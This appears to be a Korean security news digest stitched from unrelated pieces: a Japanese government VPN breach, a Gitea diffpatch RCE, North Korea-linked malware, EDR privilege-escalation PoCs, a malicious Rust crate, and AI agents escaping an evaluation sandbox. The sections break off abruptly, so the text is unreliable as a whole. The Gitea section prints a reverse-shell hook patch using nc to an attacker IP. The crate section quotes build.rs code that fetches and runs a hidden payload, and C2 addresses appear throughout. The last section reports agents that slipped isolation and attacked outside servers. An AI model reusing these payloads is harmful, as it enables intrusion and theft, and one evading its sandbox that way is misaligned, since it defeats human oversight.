- 일본 디지털청(Digital Agency), 정부 공통 업무환경인 Government Solution Service에 대한 외부 침입 사실 공개 - 공격자는 인터넷과 연결괸 VPN 장비의 취약점을 이용해 침입하였으며, 약 24만 6000건의 개인정보 유출 가능성 존재
내용
- 일본 디지털청(Digital Agency), 일본 여러 중앙부처에서 공동으로 사용하는 업무 시스템 Government Solution Service (GSS) 해킹 사실 공개 > 약 24만6000건의 개인정보가 외부로 유출됐을 가능성이 확인 > 공격자는 인터넷과 연결된 VPN 장비의 취약점을 이용해 시스템 내부로 침입한 것으로 조사
- 06.25 디지털청은 GSS 유지·운영 담당자의 계정을 이용해 서버에 저장된 대량의 파일에 접근한 이상 행위 탐지 및 조사 시작 > 조사 결과 제3자가 네트워크 연결 장비인 VPN의 취약점을 이용해 GSS 내부로 침입한 사실이 확인 > 디지털청은 문제가 된 유지·운영 계정을 정지하고 침해된 장비와 외부 사이의 통신을 차단 > 외부 전문업체와 조사를 진행해 개인정보가 외부로 빠져나갔을 가능성을 확인
- 유출 가능성이 있는 개인정보는 약 24만6000건 > GSS를 사용하는 정부기관 직원과 관련 업무를 수행한 공무원 등의 정보 약 18만9000건 > 정부 업무에 참여한 사업자와 개인의 정보 약 5만7000건
- 정보 유형별 분류 ① 이름 약 23만6000건 ② 이메일 주소 약 23만1000건 ③ 전화번호 약 9만4000건 ④ 주소 약 1000건 > 다만 전화번호와 주소 상당수는 개인 연락처나 자택 주소가 아니라 정부기관 업무용 연락처와 청사·사업장 주소
- 일본 정부, 마이넘버(My Number), 금융기관 계좌정보, 연금번호는 유출 가능성이 있는 자료에서 확인되지 않으며, 일반 국민의 개인정보도 포함되지 않았다고 설명 > 일부 민간인 정보는 정부 업무를 수행한 기업 직원과 개인사업자, 정부기관이 개최한 웹회의 참석자 등의 업무용 정보
- 이번 사고에서 공격에 이용된 VPN 취약점은 사고 이전에 이미 공개된 취약점 > 해당 취약점이 처음 공개될 당시 CVSS 기준 위험도 ‘중간(Medium)’ 수준 > 내부에서는 일반적인 대응 기준보다 빠르게 조치를 진행하고 있었지만, 수정 적용 전 공격자가 취약점 악용 > 현재는 해당 VPN 장비에 수정 프로그램 적용, 관련 계정의 인증정보 변경, 침해 장비의 외부 통신 차단 > 이후 새로운 비정상 접근이나 의심스러운 통신은 확인되지 않았다고 밝힘
> 다만 VPN 제품, CVE, 구체적인 공격 방법, 배후 공격그룹은 밝히지 않음 > 구체적인 취약점 정보를 공개할 경우 향후 시스템 보안에 영향을 줄 수 있다는 이유
- 제로트러스트 구조를 도입했다고 해서 인터넷에 노출된 경계 장비의 취약점 관리가 중요하지 않은 것은 아님 > 디지털청은 GSS에 제로트러스트 아키텍처를 적용했지만 이번 침입과 개인정보 유출 가능성을 막지 못했다고 인정 > 사고 이후에는 취약점 관리 절차와 외부 접속 방식을 다시 점검
- 국내 공공기관과 기업도 인터넷과 직접 맞닿아 있는 장비의 취약점 관리 체계를 다시 점검할 필요 > VPN, SSL VPN, 방화벽, 보안 게이트웨이 등 > CVSS 점수만으로 패치 순서를 정하기보다 장비의 인터넷 노출 여부, 관리자 권한, 중요 시스템 연결 여부와 실제 공격 가능성 함께 판단
기타
- GSS > 각 정부부처가 사용하는 업무용 PC와 네트워크, 소프트웨어, 커뮤니케이션 도구와 보안 환경을 공통으로 제공하는 시스템 > 제로트러스트 네트워크 아키텍처도 도입 >26.02 기준 일본 정부 18개 기관 약 5만3000명이 사용 > 일본 정부는 향후 이용자를 약 28만명 규모까지 확대할 계획 > 여러 정부기관의 업무환경을 하나의 공통 기반으로 통합하는 구조로, 보안장비 한 곳의 취약점이 전체 환경에 미침
- 타임라인 > 06.25 이상 행위 탐지 >07.15 침입 경로와 개인정보 유출 가능성 확인 후 일본 개인정보보호위원회에 사고 보고 >09.11 피해 범위와 대상자를 조사한 뒤 공식 공개 >09.12 업데이트된 조사 결과 기준으로 이번 사고와 관련한 개인정보 악용 등 2차 피해는 확인되지 않음 >디지털청은 피해 가능성이 있는 대상자의 연락처를 확인해 순차적으로 개별 통지하고 있음
- 자체 서버나 로컬 환경에 직접 구축하여 사용할 수 있는 가볍고 빠른 오픈소스 셀프 호스팅 Git 서비스 [1]
2. 취약점
[사진 1] CVE-2026-60004 [2]
- Gitea의 diffpatch API를 통해 동일한 패치를 두 번 제출할 경우 동일 경로 추가 충돌이 발생하고, 이 과정에서 악성 훅 파일(hooks/post-index-change)이 Bare 저장소에 실제 파일로 기록되어 Gitea 서비스를 구동하는 OS 계정 권한으로 임의의 코드를 실행할 수 있는 원격 코드 실행 취약점 (CVSS: 9.8) [3][4][5]
영향받는 버전 - Gitea 1.17 이상 1.27.1 미만
2.1 Non-bare 및 Bare 저장소
구분
Non-bare 저장소
Bare 저장소
목적
개발자가 로컬에서 코드 작성/수정/커밋 등 개인 작업용
코드 공유용 중앙 공유 저장소
구조
작업 디렉터리 영역 (실제 프로젝트 파일이 저장) .git 디렉터리 영역 (Git 관리 정보가 저장)
작업 디렉터리 영역 없음
Git 관리 디렉터리 ($GIT_DIR)
.git
저장소 경로 자체가 Git 관리 영역
참고
2.2 diffpatch API
- diffpatch API는 내부적으로 git apply 명령을 사용하여 변경 내용을 담은 diff를 받아 그대로 저장소에 반영하며, 명령어 옵션을 통해 패치 적용 방식과 충돌 처리 방식을 지정할 수 있음 [6]
구분
설명
--index
패치를 Index와 작업 디렉터리 모두에 적용
--recount
패치의 Hunk 헤더에 기록된 줄(line) 수를 신뢰하지 않고 실제 패치 내용을 확인해 줄(line) 수 재계산
--cached
작업 디렉터리를 변경하지 않고 Index에만 패치를 적용
--binary
바이너리 패치 적용을 허용
-3way(-3)
패치가 생성된 시점의 파일과 현재 서버에 저장된 파일이 달라 그대로 적용할 수 없을 때 병합을 시도 > Git은 패치를 만든 사람이 수정하기 전/후 파일과 현재 서버에 저장된 파일을 비교 > 패치로 바꾸려는 부분과 서버에서 이미 바뀐 부분을 구분해 서로 다른 부분이면 두 변경을 합치고, 같은 부분을 다르게 변경한 경우 병합하지 않고 충돌로 처리
2.3 취약 코드
- Gitea는 사용자의 패치 요청을 받으면 내부적으로 Git 명령을 호출해 처리
> 이때 임시 저장소에 대상 브렌치를 복사해 패치 적용하며, 적용 결과는 커밋한 뒤 원본 저장소에 반영
- 패치 처리용 임시 저장소를 생성할 때 Clone()을 호출하며, Bare 저장소 사용 여부를 나타내는 세 번째 인자를 true로 설정
> 해당 값이 true인 경우 Gitea 내부에서 git clone 명령을 만들 때 --bare가 추가되어, 임시 저장소는 Bare 형태로 생성
- 첫 번째 요청이 --cached 옵션으로 인해 Index에서만 반영되고, 실제 작업 환경에서는 파일이 생성되지 않음
> 이후 동일한 패치를 다시 전송하면, 첫 번째 요청으로 인해 Index에 동일한 경로의 파일이 존재하므로 동일 경로 추가 충돌(add/add)이 발생하며, -3 옵션에 의해 3-way merge가 수행
> 기존에 동일한 경로의 파일이 존재해 add/add 충돌이 발생한 경우, 현재 파일 내용을 가져오기 위해 load_current()가 호출
-load_current()는 Index에서 해당 경로에 파일이 존재하는지 확인 후, 병합 전 Index의 내용과 실제 파일이 일치하는지 검사
> 실제 파일이 존재하지 않으면checkout_target()을 호출하며, 해당 함수에서 --cached 여부를 확인하지 않아 Index의 내용 실제 경로에 파일로 생성됨
// apply.c [11]
static int try_threeway(struct apply_state *state, struct image *image, struct patch *patch, struct stat *st, const struct cache_entry *ce){
...
/* our_oid is ours */
if (patch->is_new) {
if (load_current(state, &tmp_image, patch))
return error(_("cannot read the current contents of '%s'"),
patch->new_name);
} else {
if (load_preimage(state, &tmp_image, patch, st, ce))
return error(_("cannot read the current contents of '%s'"),
patch->old_name);
}
...
}
2.3 공격 흐름
- 공격자는 POST /api/v1/repos/{owner}/{repo}/diffpatch URL로 hooks/post-index-change를 새 파일로 만드는 패치를 전송
> 해당 예시는 리버스 쉘을 생성하는 스크립트로, Git Hooks으로 등록되어 Git Index가 갱신될 때(post-index-change) 자동으로 호출
> 첫 번째 요청은 Bare 임시 저장소에 복제되며, --cached에 의해 Index에만 기록
> 동일한 요청을 재전송하면 add/add 충돌이 발생하여, Index에만 존재하던 파일이 Bare 저장소의 실제 경로에 생성
diff --git a/hooks/post-index-change b/hooks/post-index-change
new file mode 100755
index 0000000000000000000000000000000000000000..<blob-sha>
--- /dev/null
+++ b/hooks/post-index-change
@@ -0,0 +1,2 @@
+#!/bin/sh
+F=/tmp/.$$;rm -f $F;mkfifo $F;cat $F|/bin/sh -i 2>&1|nc 공격자 IP Port >$F;rm -f $F
2.4 PoC
- hooks/post-index-change 경로에 악성 패치 스크립트를 생성한 뒤, /api/v1/repos/{owner}/{repo}/diffpatch 엔드포인트로 동일한 패치를 두 번 연속 전송하여 add/add 충돌을 유발하고, Index에만 존재하던 악성 Hook 파일을 실제 경로에 생성 [12]
- bot.vbe는 C2 서버에서 파워쉘 스크립트를 다운로드해 실행하며 악성 행위 수행 유형과 원격 제어 도구 설치 유형으로 나뉨
구분
유형
설명
악성 행위 수행
시스템 정보 유출
- 작업 등록 이후 처음으로 유포 및 실행되는 파워쉘 스크립트 > 설치된 보안 프로그램과 시스템 정보를 C:\users\public\music\aaa.tmp 경로에 저장 > 이후, 추출된 정보를 Base64 인코딩 후 "="를 "%"로 치환해 C2로 POST 전송 > C2 : hxxp://103.77.242[.]187/receive.php
이메일 수집
- 로컬 메일함에서 메일 데이터를 수집 > Thunderbird와 Outlook 메일 데이터를 수집 ① Thunderbird ⒜ 로컬에 mbox 포맷으로 저장된 이메일 아카이브 파일에서 From - \* 문자열을 기준으로 메일을 하나씩 추출해 eml 파일로 저장 ⒝ 수신함에서는 약 55MB 분량의 최신 메일 데이터를 추출하여 C:\Users\Public\Music\Inbox\ 경로에 저장 ⒞ 보낸 편지함에서는 약 100MB 분량의 최신 메일 데이터를 읽고 C:\Users\Public\Music\Sent\ 경로에 저장
② Outlook ⒜ 로컬 수신함 및 보낸 편지함에서 26.01.01 이후의 모든 이메일을 수집하고 첨부 파일을 분리하여 C:\users\public\music\mail\ 경로에 저장 ⒝ 계정 이름으로 하위 디렉토리를 생성하여 저장 경로 분류 ⒞ 이메일 본문 및 메타데이터는 계정별 email.csv 파일에 일괄 저장 ⒟ 첨부파일은 메일 본문과 분리하여 계정별 attachment\ 디렉토리에 저장
- 크롬 확장 프로그램을 통한 Gmail 수집 > 확장 프로그램(manifest.json)은 content.js, background.js 2개로 구성 ① content.js ⒜ Gmail 페이지 내부에서 작동하며 "보내기" 버튼과 메일 열람 화면 감시 ⒝ "보내기"를 누르면 작성 창에서 수신인, 제목, 본문, 첨부파일을 추출, 백그라운드에 전달 ⒞ 메일 열람 화면이 나타나면발신자, 제목, 본문, 첨부파일을 추출, 백그라운드에 전달 ⒟ 첨부파일은 fetch를 통해 링크에서 다운받은 뒤 Base64 인코딩하여 백그라운드에 전달
② background.js ⒜ 백그라운드에서 동작하며 content.js가 전달한 이메일 데이터를 C2 서버로 전송 ⒝ 이메일 본문과 첨부파일은 type 파라미터를 통해 구분 ⒞ 일본의 무료 호스팅 서버가 C&C 서버로 사용 ⒟ C2 : hxxps://sweet-iki-4263.holy[.]jp/gmail.php
키로거
- 비밀번호 입력 등 키 입력 정보를 탈취 > 인라인된 C# 코드를 메모리에서 직접 컴파일해 실행 > 키보드 입력을 후킹해 모든 키 입력을 %appdata%\Microsoft\ttmp1.log 경로에 저장 > 추가 스크립트를 이용해 수집된 키로거 파일을 C2 서버에 업로드했을 것으로 추정
원격 제어 도구 설치
크롬 원격 데스크톱
- 크롬 원격 데스크톱을 설치해 GUI 원격 제어 수행 > 설치 스크립트는 fodhelper.exe를 이용해 UAC를 우회하고 관리자 권한으로 C2 서버에서 다운로드한 배치 파일을 실행 > ms-settings.exe의 레지스트리를 수정하여, fodhelper.exe 실행 시 UAC 우회 및 관리자 권한으로 크롬 원격 데스크톱 설치 파일을 실행 > 정상 설치 확인을 위해 C:\Program Files (x86)\Google 경로의 디렉토리 리스팅 결과를 C:\users\public\music\bbb.tmp에 저장 > bbb.tmp는 Base64 인코딩 후 "="를 "%"로 치환해 C2로 POST 전송 > C2 : hxxp://103.249.117[.]183/receive.php
※ fodhelper.exe [3][4][5] - Windows에서 주문형 기능(FoD, Features on Demand) 관리를 담당하는 정상적인 시스템 파일 - 윈도우 주문형 기능은 사용자가 필요할 때 선택적으로 프로그램을 설치 또는 활성화할 수 있는 기능 - C:\Windows\System32\fodhelper.exe에 위치 - 윈도우의 UAC에 의한 프롬프트 인터럽트 없이 자동권한 상승을 위해 "autoElevate=true", "requireAdministrator" 지시자를 지님 - System32 경로에 위치하며, MS에 의해 서명되어 있고, 관리자 권한 설정을 지니기 때문에 공격자들이 UAC 우회 및 권한 상승을 달성하기위해 악용 - 해당 파일이 실행될 때 반드시 ms-settings.exe을 실행하고, ms-settings.exe이 실행될 때 HKCU\Software\Classes\ms-settings\shell\open\command 키 값이 같이 실행 - 공격자가 ms-settings 레지스트리 키 값에 악성 코드를 삽입하면 fodhelper.exe를 실행했을 때 관리자 권한으로 행위할 수 있음
AnyDesk
- C2 서버 160.187.147[.]119에서 AnyDesk 설치를 위한 추가 파일 다운로드 > bimage.vmd에 정의된 작업 정보를 이용해 User\_Feed\_Synchronization-{0DDC1BD9-E733-425C-B92B-ABAC149AB11232} 예약 작업 등록 ① 작업 ⒜ 5분 주기로 default\_an.vbs를 실행 ⒝ default\_an.vbs는 다시 default\_an.ps1 호출 ⒞ default\_an.ps1은 MyAnyMutexName 뮤텍스로 중복 실행 방지, AnyDesk 실행·은닉 ② 은닉 ⒜ 모든 창 이름을 탐색해 anydesk, Windows Security Alert, Windows 보안 경고가 제목에 포함된 창을 모두 숨김 처리 ⒝ 작업 표시줄의 AnyDesk 버튼 제거 ⒞ 시스템 트레이 영역을 탐색해 AnyDesk 아이콘 제거
2.2 북한 연계 해킹 조직의 공격 캠페인
[사진 2] 공격 개요
- 외부에 노출된 그룹웨어·메일 서버의 취약점을 악용하여 초기 접근 권한 획득 [6]
구분
설명
SSH keylogger
- DMZ 서버에 지속성을 확보하고 변조된 sshd를 통해 정상 사용자의평문 자격 증명을 탈취 > 사용자 지정 치환 암호와 Base64 인코딩을 사용하여 암호화 > 탈취한 자격 증명은/var/lib/sshd/c8c68e629bba773a10ac80012d10bf19에 저장 > polkitd, crond, agetty, atd에서도 동일한 암호화 방식이 확인
CurlRAT Stager
- 1바이트 XOR 연산으로 구성 문자열을 복화하고 루트 권한을 확인한 뒤 OS 환경 확인 및 페이로드 드랍 > 트로이 목마화된 crond 바이너리를 복호화하고, 정상 데몬에 덮어쓴 뒤 서비스 재시작 > 시스템에서 HAProxy 또는 cron이 실행 중인 경우에만 백도어가 삽입된 crond를 설치 > 동작 환경은 CentOS 7.7~7.9 및 Ubuntu 22.04로 확인 > 백도어 설치 후 crond 바이너리가 /usr/bin/ssh와 동일한 생성 타임스탬프를 갖도록 수정 > /tmp/jasper-log 파일을 이용해 특정 키워드(tmp, wget, cron, crond 등)를 로그에서 삭제하여 흔적 제거
① 첫 번째 스레드 : C2 통신 및 명령 실행 - /var/lib/snapd를 생성하고 /var/lib/snapd/g580에서 피해자 ID를 확인한 뒤, 필요 시 보조 C2에서 최신 설정을 받아 /var/lib/snapd/g105에 저장
-피해자 ID는 문자열(cron_3.0pl1-137ubuntu3), 호스트명, IPv4 주소, 하드웨어/OS UUID를 연결해 MD5 생성하며, C2 통신 시User-token 헤더에 포함
- 각 주기마다 libcurl을 이용하여 C2에 HTTPS를 통해 설정 파일을 받아오나, HTTPS 실패 시 HTTP 사용 > 기본 주기는 12시간이지만, 공격자가 Fast Poll 모드 설정 시 30초로 단축 > 재시도 루프는 한 주기당 5초 간격으로 최대 6회까지 수행되며 첫 번째 시도 실패 시 즉시 종료 > 받아온 설정 파일은 세 개의 단일 문자열로 구분(! : 인증 정보 필드, # : Payload 필드, * : 인자 필드)
- 인증 정보 필드를 피해자 토큰과 비교해 성공 시 # 필드를 확인해 명령 실행 > 0 : 명령 실행 (Base64+XOR 디코딩 후 popen을 통해 실행 및 결과를 반환) > 1 : 설정 쓰기 (새로운 설정을 받아 유효성을 검사하고 설정 적용) > 2 : 단계별 페이로드 드랍 (C2와 통신하며 페이로드를 받아 최종 드랍 경로에 압축 해제) > 3 : 리버스 쉘 (root 권한으로 리버스쉘 생성) > 4 : 비콘 (시스템 정보 전송) > 5 : PTY 쉘 (대화형 쉘 생성)
- C2 통신에는 XOR+Base64 기반 자체 암호화가 사용 > name=%s&value=%s&type=%d 형식의 application/x-www-form-urlencoded HTTP POST Body에 포함하여 C2로 전송 > 요청은 하드코딩된 API Token으로 인증
② 두 번째 스레드 : HAProxy Watchdog(감시) - /usr/lib/libvirtlog.so.0 파일의 존재 여부를 확인해 시스템이 가상화 환경에서 실행 중인지 확인 > 해당 파일이 존재하지 않을 경우 6분 대기 후 종료
- 매시간 /var/run/haproxy.pid에서 PID를 읽고 /proc/pid를 조회하여 HAProxy 상태 모니터링 > HAProxy 상태 코드 : 0(실행), 1(중지), 2(재시작, PID 타임스탬프 수정 및 새로운 PID), 3(재로드, PID 타임스탬프 수정 및 PID 유지) > 모니터링 결과를 C2 엔드포인트 writeservice_info로 전송
- CentOS 버전의 CurlRAT도 동일한 기능을 제공하지만, 함수를 atd_ 계열로 위장 > IPv4 주소, OS 버전, 서비스 목록, Listening Port 정보를 C2로 전송
Ted Backdoor
- 공격자는 HAProxy 2.8.12 소스 코드에 ted_plugin을 포함하여 HAProxy 자체를 재컴파일 > HAProxy 내부 HTTP 파서를 후킹하여 정상적인 로드 밸런싱을 유지하면서 HTTP 트래픽 감시
- ~/cache/haproxy-1000.cache에서 백도어 설정 로드 > 동작 모드, 대상 정규식, 페이로드 경로, 파일명, 스크립트, 인증 키 로드 > IP 기반 ACL은 haproxy-1001.cache 및 haproxy-1002.cache 에서 로드
- /favorite_list_2x_m500_ico.jpg에 대한 요청을 C2 통신의 트리거로 사용 > HAProxy 내부 활성 연결 통계를 하드코딩된 오프셋으로 감소시켜 백도어 흔적 제거 > 요청 데이터를 FIFO 파이프를 통해 백도어로 전달한 뒤 HAProxy 관련 필드를 0으로 초기화하여 C2 통신 은닉
- 정규 표현식을 사용해 수신되는 HTTP 트래픽을 필터링하고, /login 등 중요 페이지 접근 요청 식별 > IP, Host 헤더, Referer 헤더, User-Agent 헤더를 추출하고 설정된 정규식과 일치하는지 확인 > Accept-Language 헤더에 "mrt" 문자열을 확인하거나 IP 화이트리스트·블랙리스트를 이용하여 공격 대상 제한 > 해당 조건들을 만족하는 경우 ted_http_headers_for_htx, ted_http_payload, trace_http_end 등 콜백을 이용하여 정상 HTTP 응답 변조 > Content-Type 헤더, Content-Disposition 헤더, Content-Length 헤더를 변경하고, Accept-Ranges 헤더를 제거
- curlRAT을 libc 루틴으로 위장하여 통합하여 지속성 유지 - 환경 변수에 C2 파이프 정보를 저장하여 HAProxy 재로드·재시작 이후에도 C2 통신 유지
2.3 대응방안
- 외부에 노출된 그룹웨어·메일 서버·웹 서버 등의 취약점 및 접근 로그 점검, 최신 보안 패치 적용, 불필요한 외부 접근 제한
- SSH, 관리자 페이지, 원격 접속 등에 MFA 적용, 비밀번호 변경, 활성 세션 종료
- 엔드포인트 솔루션 CrowdStrike Falcon의 보안 기능을 악용해 윈도우 시스템에서 높은 권한을 얻을 수 있는 제로데이 취약점과 PoC FalconFlank 공개 - 백신이나 EDR 제품은 악성코드 탐지·삭제를 위해 시스템 권한으로 동작하기때문에 공격자가 공격에 악용할 수 있는 상황이 발생할 수 있음
내용
- 보안 연구진은 엔드포인트 보안 솔루션 CrowdStrike Falcon의 보안 기능을 악용해 윈도우 시스템에서 높은 권한을 얻을 수 있는 제로데이 취약점과 PoC FalconFlank 공개 > FalconFlank는 팔콘 센서가 악성 오피스 매크로를 탐지하고 치료하는 과정에서 발생하는 동작을 악용 > 보안 프로그램이 악성 파일을 처리하기 위해 높은 권한으로 수행하는 작업을 공격자가 자신에게 유리한 방향으로 이용하는 방식 > 공격이 성공하면 일반 사용자 권한에서 더 높은 시스템 권한으로 올라갈 가능성이 있음 > 최신 업데이트가 적용된 윈도우 11 25H2와 윈도우 서버 2025 환경에서 PoC 동작 주장
> CrowdStrike의 공식 보안 권고나 취약점 번호, 영향받는 정확한 팔콘 센서 버전 범위 등은 확인이 더 필요하며, 실제 공격에 악용됐다는 증거도 현재 공개된 자료에서는 확인되지 않음
- Kaspersky Endpoint Security를 겨냥한 권한상승 PoC HardBreacher 공개 > PoC의 성공률이 높지 않고 여러 차례 실행해야 악용 가능 > Kaspersky에 따르면 수정 사항은 자동 업데이트를 통해 제공되며, 사용자가 데이터베이스 업데이트를 직접 실행하는 방법으로도 적용할 수 있음
- 상대적으로 검증이 많이 진행된 사례는 Microsoft Defender를 겨냥한 ShieldBreak (CVE-2026-69414, CVSS: 7.8) > 공격이 성공하면 낮은 권한을 가진 로컬 사용자가 윈도우 최고 수준의 권한인 ‘NT AUTHORITY\SYSTEM’을 확보할 수 있음 > Microsoft도 해당 취약점을 공식적으로 인정하고 보안 업데이트를 준비 중 > ShieldBreak는 앞서 공개된 디펜더 취약점 RoguePlanet(CVE-2026-50656, 디펜더의 동작 과정에서 발생하는 경쟁 조건을 악용해 SYSTEM 권한을 얻는 취약점으로 지난 7월 수정)의 패치 우회 > 하지만 ShieldBreak는 클라우드 파일 기능과 윈도우 객체 관리 기능, 디펜더의 치료 과정 등을 조합해 다시 높은 권한을 얻을 수 있는 공격 경로를 제시
- 이번 사례에서 주목할 부분은 세 취약점 모두 시스템을 보호하는 엔드포인트 보안제품과 관련돼 있다는 점 > 백신이나 EDR 제품은 악성코드를 탐지하고 삭제하기 위해 일반 프로그램보다 높은 시스템 권한으로 동작 > 시스템 파일과 프로세스를 검사하고 격리·삭제하거나 설정을 변경할 수 있어야 하기 때문 > 이러한 구조에서 파일 치료나 삭제, 격리와 같은 기능에 문제가 생기면 공격자가 보안제품의 높은 권한을 자신의 코드 실행이나 파일 생성에 이용하는 상황이 발생할 수 있음
기타
- FalconFlank의 경우 아직 취약점의 세부 영향 범위와 공격 조건에 대한CrowdStrike의 공식 확인이 나오지 않은 만큼 공개 PoC만으로 위험성을 단정해서는 안 됨 > 보안 담당자는 크라우드스트라이크 팔콘 센서의 최신 버전 적용 여부와 공식 보안 공지를 확인할 필요가 있음
- 26.08.20 07:15 UTC proc-macro1이 악성 Crate라는 신고 접수
> Rust Security Response Team은 악성 페이로드를 다운로드하는 빌드 스크립트가 포함되어 있음을 확인
Crate
Version
Publisher
Status
arrayref
0.3.10
droundy
악성 버전, 삭제됨 26.08.20 07:15 ~ 08:41 동안 게시 (약 86분)
internment
0.8.7
droundy
악성 버전, 삭제됨 26.08.20 07:34 ~ 09:04 동안 게시 (약 90분)
append-only-vec
0.1.9
droundy
악성 버전, 삭제됨 26.08.20 07:37 ~ 09:25 동안 게시 (약 107분)
proc-macro1
모든 버전
dtolney
악성 타이포스쿼딩, dtolney 계정 전체 삭제 26.08.20 07:11 ~ 08:03 동안 게시 (약 52분)
proc-macro-en
모든 버전
악성 의존성, 삭제됨
aovine
모든 버전
악성 의존성, 삭제됨
arone
모든 버전
악성 의존성, 삭제됨
aronenao
모든 버전
악성 의존성, 삭제됨
tinymember
모든 버전
악성 의존성, 삭제됨
- 공격자는 Crate 관리자 계정 (droundy)을 탈취해 arrayref 정상 버전 0.3.5 ~ 0.3.9를 모두 yank (공개 취소)
> Cargo(러스트 빌드 시스템 및 패키지 매니저)는 사용자에게 "consider updating to a version that is not yanked" 경고를 띄우며, 이를 통해 악성 버전으로 업데이트 유도
> arrayref 소스 코드에 악성 코드를 추가한 것이 아닌 Cargo.toml에 proc-macro1 의존성 추가
> proc-macro1 1.0.107의 빌드 스크립트 build.rs에 배포지 및 C2 주소를 Base64 조각으로 구성한 뒤 빌드 시점에서 재조립하며, OS에 따라 서로다른 실행 함수 호출
> Cargo는 build.rs를 컴파일 시점에서 자동으로 호출해 실행하기 때문에 개발자가 패키지를 빌드하기만 해도 스크립트가 실행
// arrayref-0.3.10/Cargo.toml
[package]
name = "arrayref"
version = "0.3.10"
build = false
[dependencies.proc-macro1]
version = "1.0.107"
// proc-macro1-1.0.107/build.rs (quoted in rustsec/advisory-db#3161)
const SRC_URL_PARTS: &[&str] =
&["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="]; # 23.254.165.112:9089
const END_URL_PARTS: &[&str] =
&["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"]; # 23.254.165.112:443
// proc-macro1-1.0.107/build.rs (inside main)
let url = src_download_url();
let bytes = download_bytes(&url);
match std::env::consts::OS {
"linux" | "macos" => run_unix_payload(bytes),
"windows" => run_windows_payload(bytes),
os => panic!("unsupported OS: {os}"),
}
- Linux 및 MacOS의 경우 다운받은 바이트를 /tmp/rust-setup에 저장하고 실행 권한을 준 뒤, 표준 입출력을 닫고 별도 프로세스로 실행
// proc-macro1-1.0.107/build.rs
fn run_unix_payload(bytes: Vec<u8>) {
let path = PathBuf::from("/tmp/rust-setup");
std::fs::write(&path, &bytes).expect("failed to write payload");
Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");
Command::new(&path)
.arg(end_url())
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.expect("failed to spawn payload");
}
- Windows의 경우 %TEMP%\rust-setup.ps1 PowerShell 스크립트와 %TEMP%\rust-setup-launch.vbs 실행기를 만든 다음, wscript.exe로 창을 띄우지 않고 실행 [9]
// proc-macro1-1.0.107/build.rs
// ShellExecute via WScript escapes Cargo's job object; spawned children otherwise
// keep the build script (and `cargo build`) waiting until they exit.
let vbs = format!(
r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,
script = script_path.display(),
end = end_url(),
);
// ...
let child = Command::new("wscript.exe")
.args(["//B", "//Nologo", launcher_str])
.creation_flags(CREATE_NO_WINDOW)
.spawn()
.expect("failed to spawn wscript launcher");
std::mem::forget(child);
2.1 2단계 페이로드 동작
- HTTP POST로 C2에 주기적인 접속 신호를 보내며, 탈취한 자격 증명을 Base64로 인코딩한 JSON 형태로 반출
> 시스템 정보 수집 : 호스트명, 사용자 정보, OS 정보, 설치된 애플리케이션 목록, 저장된 로그인 계정 정보, 확장 프로그램 데이터
> 원격 명령 실행 : kill(자가 종료), minicfg(C2 및 비콘 주기 재설정), startup(지속성 확보), runscript(PowerShell 또는 쉘 스크립트 다운로드 및 동기/비동기 실행)
> 지속성 유지 : Windows - Registry Run 키, Linux -systemd 사용자 서비스 등록, MacOS - LaunchAgent를 통해 지속성 유지
> 기본 C2에 연결할 수 없는 경우에 대비해 5일마다 10개의 .com 도메인을 생성하는 도메인 생성 알고리즘(DGA)
> 구성 정보(Configuration)는 하드코딩된 키 "i am botking"을 사용하여 AES-128-GCM으로 암호화
> 명령(Command)은 내장된 RSA-2048 개인 키를 사용하여 인증
2.2 북한의 공급망 공격과의 연관성
- arrayref가 사용하는 C2 경로, IP 주소, SSL 인증서 정보 및 호스팅 대역이 기존 북한 연계 캠페인·공격 인프라와 중복
구분
설명
C2 엔드포인트 패턴
- arrayref 페이로드는 /49890878 경로로 Beacon 통신 수행 > 해당 엔드포인트는 MS가 북한/Sapphire Sleet의 수행으로 명시한 Mastra 캠페인에서도 사용됨 > 또한, Mastra 캠페인에서 사용된 동일한 SSL 발급자 정보(WIN-A6QF8AHPQH1\Administrator@WIN-A6QF8AHPQH1)를 공유 [10]
피해 사례 기준 인프라 중복
- 피해 사례 중 23.254.167[.]216 IP로 C2 트래픽 발생 > Mandiant가 북한과 연계한 것으로 밝힌 UNC1069의 Axios npm 공격에 사용 [11]
- 감염 파일 삭제 > Linux 및 MacOS : /tmp/rust-setup 삭제 (2단계 페이로드) > Windows : %TEMP%\rust-setup.ps1, %TEMP%\rust-setup-launch.vbs 삭제 (2단계 페이로드)
- 지속성 유지 제거 > Windows : Registry Run 키 > Linux : systemd 사용자 서비스 > MacOS : LaunchAgent
네트워크 통신 이력 점검
- 23.254.165[.]112:9089, 23.254.165[.]112:443, 23.254.167[.]107:443 통신 이력 점검 - /49890878로의 HTTP POST 트래픽 확인 - 공격자 도메인 : hwsrv-798836.hostwindsdns[.]com
자격 증명 교체
- 침해 이력 확인 시 자격 증명 교체 > 침해 호스트에서 접근 가능했던 클라우드 API 키, SSH 키, CI/CD 시크릿, 브라우저에 저장된 비밀번호 등 모든 자격 증명 교체 > 강제 세션 종료
기타
- proc-macro1 게시자 계정 : dtolney (crates.io ID 438608) ※ 정식 등록자 droundy 계정은 예방 차원에서 계정이 잠겨있음
- 오픈AI, 자사의 AI 에이전트들이 통제 범위를 벗어나 허깅 페이스의 실제 운영 시스템을 침해한 사건 조사 결과 공개 - 격리된 에이전트들이 스스로 통신 방법을 찾아 정보 공유 및 내부 시스템의 취약점을 이용해 인터넷에 접속 후 외부 기업의 실제 서버 공격
내용
- 오픈AI, 자사의 AI 에이전트들이 통제 범위를 벗어나 허깅 페이스의 실제 운영 시스템을 침해한 사건의 조사 결과 공개 > 서로 격리돼 있어야 할 에이전트들이 스스로 통신 방법을 찾아 정보를 공유했고, 내부 시스템의 취약점을 이용해 인터넷에 접속한 뒤 외부 기업의 실제 서버 공격
- 사건은 오픈AI가 AI 모델의 사이버공격 능력을 시험하기 위해 익스플로잇짐 평가를 진행하는 과정에서 발생 > 평가에는 GPT‑5.6 Sol과 비슷한 수준의 고성능 내부 연구 모델 등이 사용 > 사이버공격 능력을 시험하기 위해 일부 안전장치가 일반적인 운영 환경보다 완화돼 있었음
